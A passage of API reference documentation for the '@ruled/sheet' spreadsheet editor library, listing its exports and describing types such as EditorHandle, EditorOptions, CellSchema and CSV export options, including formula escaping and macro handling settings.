periodic.| |`XOR`|`XOR(logical1, [logical2], ...)` Returns TRUE if an odd number of its arguments are TRUE.| |`YEAR`|`YEAR(serial_number)` Returns the year of a date.| |`YEARFRAC`|`YEARFRAC(start_date, end_date, [basis])` Returns the fraction of a year between two dates.| |`YIELD`|| |`YIELDDISC`|| |`YIELDMAT`|| |`Z.TEST`|| |`ZTEST`|| ## Kept from Excel AMORDEGRC, AMORLINC, ASC, BAHTTEXT, CONVERT, CUBEKPIMEMBER, CUBEMEMBER, CUBEMEMBERPROPERTY, CUBERANKEDMEMBER, CUBESET, CUBESETCOUNT, CUBEVALUE, DBCS, DETECTLANGUAGE, DOLLAR, ENCODEURL, FIELDVALUE, FILTERXML, FORECAST.ETS, FORECAST.ETS.CONFINT, FORECAST.ETS.SEASONALITY, FORECAST.ETS.STAT, GETPIVOTDATA, GROUPBY, IMAGE, INFO, ISOMITTED, ODDFPRICE, ODDFYIELD, ODDLPRICE, ODDLYIELD, PHONETIC, PIVOTBY, REGEXEXTRACT, REGEXREPLACE, REGEXTEST, RTD, STOCKHISTORY, TRANSLATE, TRIMRANGE, WEBSERVICE. --- # @ruled/docs Source: https://ruled.page/reference/api/readme/ Every export of the editor’s package, from its source’s own documentation. - **`@ruled/sheet`**: the React component, `createWorkbookEditor`, `defineSchema`, and the types for options, schemas, hooks and saving. - **`@ruled/sheet/standalone`**: the self-contained build that defines ``, with `mountWorkbookEditor` and the element’s event types. The guides explain how these fit together: start with [Introduction](https://ruled.page/start/introduction.md) or [Schemas](https://ruled.page/schemas/overview.md). --- # @ruled/sheet Source: https://ruled.page/reference/api/ruled/sheet/readme/ The React component, `createWorkbookEditor`, schemas and every type, for React apps: `import { createWorkbookEditor, WorkbookEditor } from '@ruled/sheet'`. ## Classes - [SaveConflictError](https://ruled.page/reference/api/ruled/sheet/classes/saveconflicterror.md) ## Interfaces - [CellChange](https://ruled.page/reference/api/ruled/sheet/interfaces/cellchange.md) - [CellSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/cellschema.md) - [Change](https://ruled.page/reference/api/ruled/sheet/interfaces/change.md) - [ChangeContext](https://ruled.page/reference/api/ruled/sheet/interfaces/changecontext.md) - [CsvOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md) - [EditorFeatures](https://ruled.page/reference/api/ruled/sheet/interfaces/editorfeatures.md) - [EditorHandle](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) - [EditorOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md) - [EditorState](https://ruled.page/reference/api/ruled/sheet/interfaces/editorstate.md) - [FieldContext](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldcontext.md) - [FieldSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md) - [HistoryEntry](https://ruled.page/reference/api/ruled/sheet/interfaces/historyentry.md) - [IssueInput](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md) - [LinkClick](https://ruled.page/reference/api/ruled/sheet/interfaces/linkclick.md) - [Message](https://ruled.page/reference/api/ruled/sheet/interfaces/message.md) - [NumberOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions.md) - [RecordData](https://ruled.page/reference/api/ruled/sheet/interfaces/recorddata.md) - [SavedWorkbook](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md) - [SheetData](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetdata.md) - [SheetSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetschema.md) - [TableData](https://ruled.page/reference/api/ruled/sheet/interfaces/tabledata.md) - [TableSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/tableschema.md) - [WorkbookData](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md) - [WorkbookEditorHookOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorhookoptions.md) - [WorkbookEditorProps](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorprops.md) - [WorkbookFile](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookfile.md) - [WorkbookSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md) ## Type Aliases - [CheckResult](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md) - [DeclarativeRule](https://ruled.page/reference/api/ruled/sheet/type-aliases/declarativerule.md) - [EditorTheme](https://ruled.page/reference/api/ruled/sheet/type-aliases/editortheme.md) - [FieldType](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldtype.md) - [FieldValue](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md) - [IconName](https://ruled.page/reference/api/ruled/sheet/type-aliases/iconname.md) - [IconOverrides](https://ruled.page/reference/api/ruled/sheet/type-aliases/iconoverrides.md) - [JsonValue](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md) - [Localized](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md) - [MessageKey](https://ruled.page/reference/api/ruled/sheet/type-aliases/messagekey.md) - [SaveResult](https://ruled.page/reference/api/ruled/sheet/type-aliases/saveresult.md) - [SchemaValues](https://ruled.page/reference/api/ruled/sheet/type-aliases/schemavalues.md) - [SetTarget](https://ruled.page/reference/api/ruled/sheet/type-aliases/settarget.md) - [Severity](https://ruled.page/reference/api/ruled/sheet/type-aliases/severity.md) - [TableRule](https://ruled.page/reference/api/ruled/sheet/type-aliases/tablerule.md) - [Text](https://ruled.page/reference/api/ruled/sheet/type-aliases/text.md) - [TextMatch](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md) - [ThemeToken](https://ruled.page/reference/api/ruled/sheet/type-aliases/themetoken.md) - [Translations](https://ruled.page/reference/api/ruled/sheet/type-aliases/translations.md) ## Variables - [de](https://ruled.page/reference/api/ruled/sheet/variables/de.md) - [en](https://ruled.page/reference/api/ruled/sheet/variables/en.md) ## Functions - [createWorkbookEditor](https://ruled.page/reference/api/ruled/sheet/functions/createworkbookeditor.md) - [defineSchema](https://ruled.page/reference/api/ruled/sheet/functions/defineschema.md) - [mountWorkbookEditor](https://ruled.page/reference/api/ruled/sheet/functions/mountworkbookeditor.md) - [msg](https://ruled.page/reference/api/ruled/sheet/functions/msg.md) - [schemaFromJSON](https://ruled.page/reference/api/ruled/sheet/functions/schemafromjson.md) - [schemaToJSON](https://ruled.page/reference/api/ruled/sheet/functions/schematojson.md) - [themeProperty](https://ruled.page/reference/api/ruled/sheet/functions/themeproperty.md) - [useEditorState](https://ruled.page/reference/api/ruled/sheet/functions/useeditorstate.md) - [useWorkbookEditor](https://ruled.page/reference/api/ruled/sheet/functions/useworkbookeditor.md) - [WorkbookEditor](https://ruled.page/reference/api/ruled/sheet/functions/workbookeditor.md) --- # SaveConflictError Source: https://ruled.page/reference/api/ruled/sheet/classes/saveconflicterror/ Throw from onSave when the stored file changed since it was opened. The editor keeps the user’s changes and offers to download them as a copy. Without a message of the host’s own, the editor explains it in its language. ## Extends - `Error` ## Constructors ### Constructor ```ts new SaveConflictError(message?): SaveConflictError; ``` #### Parameters |Parameter|Type|Default value| |-|-|-| |`message`|`string`|`SAVE_CONFLICT`| #### Returns `SaveConflictError` #### Overrides ```ts Error.constructor ``` --- # CellChange Source: https://ruled.page/reference/api/ruled/sheet/interfaces/cellchange/ A cell that differs from the opened file. Values are as people read them. ## Properties |Property|Type|Description| |-|-|-| |`after`|`string`|-| |`before`|`string`|-| |`comment?`|[`Text`](https://ruled.page/reference/api/ruled/sheet/type-aliases/text.md)|A change to the cell’s note or comment thread, in words; `before` and `after` are its text.| |`formatOnly?`|`boolean`|Only the cell’s format changed.| |`note?`|[`Text`](https://ruled.page/reference/api/ruled/sheet/type-aliases/text.md)|A change to rows, columns or where cells are, rather than to one cell; `ref` is the rows, columns or range.| |`ref`|`string`|-| |`sheet`|`string`|-| --- # CellSchema Source: https://ruled.page/reference/api/ruled/sheet/interfaces/cellschema/ ## Extends - `Omit`<[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md), `"label"`> ## Properties |Property|Type|Description|Inherited from| |-|-|-|-| |`decimals?`|`number`|Most decimal places allowed; for percents, of the percentage (12.5% has 1).|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`decimals`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-decimals)| |`description?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|Shown in the formula bar when a cell of this field is selected; in one language or several.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`description`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-description)| |`formula?`|`"allow"` \| `"forbid"` \| `"require"`|Whether cells may, must or must not hold formulas. Default “allow”.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`formula`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-formula)| |`key`|`string`|Stable name used in code and rules.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`key`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-key)| |`label?`|`object`|A fixed label that must sit in another cell, e.g. { ref: “A8”, text: “Approved by” }.|-| |`label.ref`|`string`|-|-| |`label.text`|[`TextMatch`](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md)|-|-| |`max?`|`string` \| `number`|-|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`max`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-max)| |`maxLength?`|`number`|-|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`maxLength`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-maxlength)| |`min?`|`string` \| `number`|Inclusive bounds: numbers (percents as fractions) or ISO dates for date fields.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`min`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-min)| |`minLength?`|`number`|Bounds on the length of text values.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`minLength`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-minlength)| |`pattern?`|`string`|Regular expression the text form of the value must match.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`pattern`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-pattern)| |`patternHint?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|How to describe the pattern to people, e.g. “like SKU-1234”, shown as “Should be like SKU-1234.”; in one language or several.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`patternHint`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-patternhint)| |`readOnly?`|`boolean`|-|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`readOnly`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-readonly)| |`ref`|`string`|Where the value lives, e.g. “B8”.|-| |`required?`|`boolean`|-|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`required`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-required)| |`type`|[`FieldType`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldtype.md)|-|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`type`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-type)| |`unique?`|`boolean`|No two records may share a value.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`unique`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-unique)| |`validate?`|(`value`, `ctx`) => \| [`CheckResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md) \| `Promise`<[`CheckResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md)>|Code hook: extra check, sync or async. Async checks re-run only when the value changes.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`validate`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-validate)| |`values?`|`string`\[]|Allowed values for “enum” fields; typed input is matched ignoring case.|[`FieldSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md).[`values`](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md#property-values)| --- # Change Source: https://ruled.page/reference/api/ruled/sheet/interfaces/change/ ## Properties |Property|Type| |-|-| |`after`|[`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md)| |`before`|[`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md)| |`field?`|`string`| |`record?`|`number`| |`ref`|`string`| |`sheet`|`string`| |`table?`|`string`| --- # ChangeContext Source: https://ruled.page/reference/api/ruled/sheet/interfaces/changecontext/ ## Extends - [`WorkbookData`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md) ## Properties |Property|Type|Description|Inherited from| |-|-|-|-| |`changes`|[`Change`](https://ruled.page/reference/api/ruled/sheet/interfaces/change.md)\[]|-|-| |`language`|`string`|The editor’s language (BCP 47, such as “en-US” or “de”), for messages in that language.|[`WorkbookData`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md).[`language`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md#property-language)| |`signal`|`AbortSignal`|Aborted when the workbook changes again before this check finishes.|[`WorkbookData`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md).[`signal`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md#property-signal)| ## Methods ### set() ```ts set(target, value): void; ``` Write a value into a cell; applied, as part of the same undo step, when the hook finishes. #### Parameters |Parameter|Type| |-|-| |`target`|[`SetTarget`](https://ruled.page/reference/api/ruled/sheet/type-aliases/settarget.md)| |`value`|[`FieldValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md)| #### Returns `void` *** ### sheet() ```ts sheet(name): | SheetData | undefined; ``` #### Parameters |Parameter|Type| |-|-| |`name`|`string`| #### Returns \| [`SheetData`](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetdata.md) | `undefined` #### Inherited from [`WorkbookData`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md).[`sheet`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md#sheet) --- # CsvOptions Source: https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions/ ## Properties |Property|Type|Description| |-|-|-| |`delimiter?`|`","` \| `";"` \| “\t”|The field separator. Default: the locale’s list separator, as Excel uses (see listSeparator).| |`escapeFormulas?`|`boolean`|Put an apostrophe before values that a spreadsheet app would take as a formula when it opens the file: text starting with =, +, -, @, a tab or a carriage return (or the full-width =, +, -, @). Numbers such as -5 are left as they are. Default true; turn it off only for output that no person will open in a spreadsheet app.| --- # EditorFeatures Source: https://ruled.page/reference/api/ruled/sheet/interfaces/editorfeatures/ ## Properties |Property|Type|Description| |-|-|-| |`autoComplete`|`boolean`|Excel’s AutoComplete: text typed into a cell is finished from the entries above and below it in its column. Default true.| |`charts`|`boolean`|Charts drawn from the workbook’s current values. The chart library loads only when a workbook has a chart to draw. Off, charts show as placeholders with their title. Default true.| |`csv`|`boolean`|CSV files: the Open button and dropping take .csv, .tsv and .txt files as well as workbooks, and a button downloads the sheet shown as CSV (when downloads are on). Default true.| |`download`|`boolean`|With a host handling saves, a separate button to download a copy (an export). Default true.| |`format`|`boolean`|The format bar: fonts, colours, borders, alignment and number formats. Hosts whose users only fill in values can turn it off. Default true.| |`open`|`boolean`|Open button, file picker and drag-and-drop. Default true.| |`report`|`boolean`|“What’s in this file”: what the workbook holds that the editor keeps but doesn’t show, and how its formulas are calculated, with the banner that sums it up. Useful to people who know Excel; hosts whose users only fill in a template can turn it off. Default true.| |`save`|`boolean`|Save button and Cmd/Ctrl+S. Default true.| |`schemas`|`boolean`|Schema designer button. Default true.| --- # EditorHandle Source: https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle/ What a host controls an editor through, whichever way it shows it: with in React, mountWorkbookEditor() on any page, or the element. ## Properties |Property|Modifier|Type|Description| |-|-|-|-| |`editedCount`|`readonly`|`number`|Cells changed since the workbook was opened.| |`fileName`|`readonly`|`string`|The open workbook’s file name.| |`status`|`readonly`|`"error"` \| `"empty"` \| `"loading"` \| `"ready"`|Whether a workbook is open, opening or couldn’t be opened.| |`unsaved`|`readonly`|`boolean`|There are changes the host hasn’t received through a save.| ## Methods ### destroy() ```ts destroy(): void; ``` Stops the editor’s worker; mountWorkbookEditor’s handle unmounts the editor as well. #### Returns `void` *** ### downloadCopy() ```ts downloadCopy(): Promise; ``` Downloads a copy as .xlsx without saving it to the host. #### Returns `Promise`<`void`> *** ### downloadCsv() ```ts downloadCsv(options?): Promise; ``` Downloads the sheet shown, and only that sheet, as a CSV file (UTF-8 with a byte order mark), as the toolbar’s CSV button does. Values that would run as formulas in a spreadsheet app are escaped unless `escapeFormulas` is false. #### Parameters |Parameter|Type| |-|-| |`options?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)| #### Returns `Promise`<`void`> *** ### getCsv() ```ts getCsv(options?): Promise; ``` The sheet shown as CSV text, as downloadCsv writes it but without the byte order mark; undefined when it isn’t a worksheet. #### Parameters |Parameter|Type| |-|-| |`options?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)| #### Returns `Promise`<`string` | `undefined`> *** ### getWorkbook() ```ts getWorkbook(): Promise< | SavedWorkbook | undefined>; ``` The workbook as it is now, as onSave would receive it, without save checks or onSave. #### Returns `Promise`< | [`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md) | `undefined`> *** ### goTo() ```ts goTo(ref): void; ``` Selects a cell or range, such as “B4” or “Prices!A1:C3”, or the range a defined name refers to, and shows it. #### Parameters |Parameter|Type| |-|-| |`ref`|`string`| #### Returns `void` *** ### open() ```ts open(bytes, fileName): Promise; ``` Opens a workbook from its bytes, or a CSV file (.csv, .tsv or .txt, by its name) as a workbook of one sheet. Resolves true once it is open, and false when the user chose to keep the workbook already open, with its unsaved changes. Rejects, saying why, when the file can’t be opened; the editor shows the reason too. The bytes are copied, so the caller’s stay usable. #### Parameters |Parameter|Type| |-|-| |`bytes`|`ArrayBuffer` \| `Uint8Array`<`ArrayBufferLike`>| |`fileName`|`string`| #### Returns `Promise`<`boolean`> *** ### registerSchema() ```ts registerSchema(schema): void; ``` Adds or replaces a schema and re-checks the open workbook. #### Parameters |Parameter|Type| |-|-| |`schema`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)| #### Returns `void` *** ### removeSchema() ```ts removeSchema(id): void; ``` #### Parameters |Parameter|Type| |-|-| |`id`|`string`| #### Returns `void` *** ### save() ```ts save(): Promise; ``` Runs the same save as the Save button (schema checks, then onSave or a download), resolving with what happened. #### Returns `Promise`<[`SaveResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/saveresult.md)> *** ### setCustomLists() ```ts setCustomLists(lists): void; ``` Changes the lists that filling continues, as the `customLists` option gives them. #### Parameters |Parameter|Type| |-|-| |`lists`|`string`\[]\[] \| `undefined`| #### Returns `void` *** ### setLanguage() ```ts setLanguage(language): void; ``` Changes the language of the editor’s text while it is open. #### Parameters |Parameter|Type| |-|-| |`language`|`string`| #### Returns `void` *** ### setTheme() ```ts setTheme(theme): void; ``` Changes the theme tokens while the editor is open. #### Parameters |Parameter|Type| |-|-| |`theme`|\| `Partial`<`Record`< \| `"warning"` \| `"text"` \| `"colorScheme"` \| `"accent"` \| `"accentStrong"` \| `"accentSoft"` \| `"accentBorder"` \| `"accentTint"` \| `"onAccent"` \| `"surface"` \| `"surfaceAlt"` \| `"surfaceSunken"` \| `"backdrop"` \| `"focusRing"` \| `"textMuted"` \| `"textSubtle"` \| `"border"` \| `"borderStrong"` \| `"neutral"` \| `"success"` \| `"successSoft"` \| `"successBorder"` \| `"successText"` \| `"warningSoft"` \| `"warningBorder"` \| `"warningText"` \| `"warningAccent"` \| `"danger"` \| `"dangerSoft"` \| `"dangerBorder"` \| `"onDanger"` \| `"infoSoft"` \| `"infoText"` \| `"infoAccent"` \| `"infoBannerBg"` \| `"infoBannerBorder"` \| `"infoBannerText"` \| `"fieldSoft"` \| `"fieldText"` \| `"noteSoft"` \| `"noteText"` \| `"noteBorder"` \| `"noteTipBg"` \| `"noteTipBorder"` \| `"placeholderBg"` \| `"placeholderBorder"` \| `"placeholderText"` \| `"placeholderTextMuted"` \| `"dropzoneBorder"` \| `"dropzoneHoverBg"` \| `"gridBg"` \| `"gridText"` \| `"gridTextOnFill"` \| `"gridLine"` \| `"gridBorderAuto"` \| `"gridFreezeLine"` \| `"gridHeaderBg"` \| `"gridHeaderText"` \| `"gridHeaderLine"` \| `"gridHeaderHoverBg"` \| `"gridHeaderSelectedBg"` \| `"gridHeaderSelectedText"` \| `"gridRowHeaderText"` \| `"gridTextMuted"` \| `"gridTextLight"` \| `"gridBgAlt"` \| `"gridCutFill"` \| `"gridSelection"` \| `"gridSelectionFill"` \| `"gridEditedFill"` \| `"gridEditedMark"` \| `"gridLockedFill"` \| `"gridLabelFill"` \| `"gridErrorMark"` \| `"gridWarningMark"` \| `"gridPendingMark"` \| `"gridNoteMark"` \| `"gridStaleMark"` \| `"gridUnsupportedMark"` \| `"gridSpillLine"` \| `"gridDropdownArrow"` \| `"gridLink"` \| `"gridFont"` \| `"gridHeaderFont"` \| `"gridHeaderFontSize"` \| `"gridHeaderFontWeight"` \| `"formulaRef1"` \| `"formulaRef2"` \| `"formulaRef3"` \| `"formulaRef4"` \| `"formulaRef5"` \| `"formulaRef6"` \| `"formulaRef7"` \| `"chartColors"` \| `"font"` \| `"fontMono"` \| `"fontSize"` \| `"fontSizeXs"` \| `"fontSizeSm"` \| `"fontSizeMd"` \| `"fontSizeLg"` \| `"fontSizeXl"` \| `"iconStrokeWidth"` \| `"radius"` \| `"radiusSm"` \| `"radiusLg"` \| `"shadow"` \| `"shadowSm"`, `string`>> \| `undefined`| #### Returns `void` *** ### setUser() ```ts setUser(user): void; ``` Changes the name recorded against each action in the change history. #### Parameters |Parameter|Type| |-|-| |`user`|`string` \| `undefined`| #### Returns `void` *** ### subscribe() ```ts subscribe(listener): () => void; ``` Calls `listener` whenever the editor’s state changes; returns an unsubscribe function. #### Parameters |Parameter|Type| |-|-| |`listener`|() => `void`| #### Returns () => `void` --- # EditorOptions Source: https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions/ ## Extended by - [`WorkbookEditorHookOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorhookoptions.md) ## Properties |Property|Type|Description| |-|-|-| |`activeContent?`|`"block"` \| `"keep"`|ActiveX controls and embedded objects: keep them (default), or refuse such files.| |`createWorker?`|() => `Worker`|Creates the worker that holds the workbook; defaults to the bundled worker file.| |`csvExport?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)|How the sheet is written when downloaded as CSV: the delimiter, and whether formulas are escaped (they are by default).| |`customLists?`|`string`\[]\[]|Lists that dragging the fill handle and AutoFill continue, as Excel’s custom lists do, after the built-in day and month names: each list is its entries in order, e.g. \[\[‘North’, ‘East’, ‘South’, ‘West’]]. Users can add their own in the Custom Lists dialog.| |`diagnostics?`|`boolean`|Show in the status bar which engine is calculating, how large it is, and how long opening, calculating and the last edit took, for comparing engines.| |`drafts?`|`boolean`|Keep unsaved edits in the browser and offer them back when the same file is reopened. Default true.| |`features?`|`Partial`<[`EditorFeatures`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorfeatures.md)>|Parts of the UI to show; hosts that open and save files themselves can hide them.| |`icons?`|`Partial`<`Record`< \| `"formula"` \| `"chart"` \| `"image"` \| `"shape"` \| `"undo"` \| `"redo"` \| `"download"` \| `"open"` \| `"info"` \| `"warn"` \| `"close"` \| `"check"` \| `"lock"` \| `"sheet"` \| `"edit"` \| `"eye"` \| `"plus"` \| `"minus"` \| `"schema"` \| `"upload"` \| `"sparkle"` \| `"trash"` \| `"note"` \| `"link"` \| `"keyboard"` \| `"more"` \| `"bold"` \| `"italic"` \| `"underline"` \| `"strike"` \| `"textColor"` \| `"fillColor"` \| `"borders"` \| `"alignLeft"` \| `"alignCenter"` \| `"alignRight"` \| `"wrap"` \| `"checkbox"` \| `"decimalsMore"` \| `"decimalsFewer"` \| `"clearFormat"` \| `"chevronDown"` \| `"chevronUp"` \| `"alignTop"` \| `"alignMiddle"` \| `"alignBottom"` \| `"indentMore"` \| `"indentLess"`, `ReactNode`>>|Replacement icons by name: SVG path data on a 24×24 grid, or (for React hosts) an element.| |`language?`|`string`|Language of the editor’s own text, such as “de” or “fr-CA”; defaults to the locale. English and German are built in; others need `translations`.| |`limits?`|`PackageLimits` & `object`|Size and complexity limits for opened files; see OpenOptions.| |`links?`|`"off"` \| `"follow"`|Following hyperlinks. ‘follow’ (the default): Ctrl+click (⌘-click on a Mac), Ctrl+Enter (⌘Enter) or the cell menu goes to a place in the workbook, or opens a web page or email in a new tab, asking first the first time for each address; links to anything else are refused. ‘off’: links are shown and can be edited, but never followed.| |`locale?`|`string`|Locale for parsing and showing dates and numbers; defaults to the browser’s.| |`macros?`|`"block"` \| `"keep"` \| `"remove"`|Macros (VBA or Excel 4.0 macro sheets): keep them (default), remove them when saving, or refuse such files.| |`numbers?`|[`NumberOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions.md)|Default number display; a matching schema can override it.| |`onError?`|(`error`) => `void`|Called when the editor stops working: its worker couldn’t load, crashed, ran out of memory or stopped answering. The editor shows what happened and offers to reopen the file, which brings back unsaved edits when drafts are on.| |`onEvent?`|(`event`) => `void`|Hears what the editor does and how long it took, for the host’s logging or analytics.| |`onLinkClick?`|(`link`) => `boolean` \| `void` \| `Promise`<`boolean` \| `void`>|Called when the user follows a link to a web page or an email, instead of the editor opening it; links to anything else are refused before it is called. Return (or resolve) true to have the editor ask and open it after all.| |`onSave?`|(`file`) => `void` \| `Promise`<`void`>|Receives the workbook when the user saves, e.g. to upload it. Throwing shows the error and keeps the changes. Without it, saving downloads the file.| |`recalc?`|`"auto"` \| `"on"` \| `"off"`|Live recalculation: ‘auto’ (default) turns it off for workbooks too large to recalculate quickly, where the user can turn it on; ‘on’ and ‘off’ force it.| |`saveLabel?`|[`Localized`](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md)|The Save button’s label when the host handles saving, e.g. “Submit price list”. Default “Save”.| |`schemas?`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)\[]|Schemas to try, in order, against each workbook that is opened.| |`theme?`|`Partial`<`Record`< \| `"warning"` \| `"text"` \| `"colorScheme"` \| `"accent"` \| `"accentStrong"` \| `"accentSoft"` \| `"accentBorder"` \| `"accentTint"` \| `"onAccent"` \| `"surface"` \| `"surfaceAlt"` \| `"surfaceSunken"` \| `"backdrop"` \| `"focusRing"` \| `"textMuted"` \| `"textSubtle"` \| `"border"` \| `"borderStrong"` \| `"neutral"` \| `"success"` \| `"successSoft"` \| `"successBorder"` \| `"successText"` \| `"warningSoft"` \| `"warningBorder"` \| `"warningText"` \| `"warningAccent"` \| `"danger"` \| `"dangerSoft"` \| `"dangerBorder"` \| `"onDanger"` \| `"infoSoft"` \| `"infoText"` \| `"infoAccent"` \| `"infoBannerBg"` \| `"infoBannerBorder"` \| `"infoBannerText"` \| `"fieldSoft"` \| `"fieldText"` \| `"noteSoft"` \| `"noteText"` \| `"noteBorder"` \| `"noteTipBg"` \| `"noteTipBorder"` \| `"placeholderBg"` \| `"placeholderBorder"` \| `"placeholderText"` \| `"placeholderTextMuted"` \| `"dropzoneBorder"` \| `"dropzoneHoverBg"` \| `"gridBg"` \| `"gridText"` \| `"gridTextOnFill"` \| `"gridLine"` \| `"gridBorderAuto"` \| `"gridFreezeLine"` \| `"gridHeaderBg"` \| `"gridHeaderText"` \| `"gridHeaderLine"` \| `"gridHeaderHoverBg"` \| `"gridHeaderSelectedBg"` \| `"gridHeaderSelectedText"` \| `"gridRowHeaderText"` \| `"gridTextMuted"` \| `"gridTextLight"` \| `"gridBgAlt"` \| `"gridCutFill"` \| `"gridSelection"` \| `"gridSelectionFill"` \| `"gridEditedFill"` \| `"gridEditedMark"` \| `"gridLockedFill"` \| `"gridLabelFill"` \| `"gridErrorMark"` \| `"gridWarningMark"` \| `"gridPendingMark"` \| `"gridNoteMark"` \| `"gridStaleMark"` \| `"gridUnsupportedMark"` \| `"gridSpillLine"` \| `"gridDropdownArrow"` \| `"gridLink"` \| `"gridFont"` \| `"gridHeaderFont"` \| `"gridHeaderFontSize"` \| `"gridHeaderFontWeight"` \| `"formulaRef1"` \| `"formulaRef2"` \| `"formulaRef3"` \| `"formulaRef4"` \| `"formulaRef5"` \| `"formulaRef6"` \| `"formulaRef7"` \| `"chartColors"` \| `"font"` \| `"fontMono"` \| `"fontSize"` \| `"fontSizeXs"` \| `"fontSizeSm"` \| `"fontSizeMd"` \| `"fontSizeLg"` \| `"fontSizeXl"` \| `"iconStrokeWidth"` \| `"radius"` \| `"radiusSm"` \| `"radiusLg"` \| `"shadow"` \| `"shadowSm"`, `string`>>|Overrides for the theme tokens (colours, fonts, sizes, corners, shadows); see 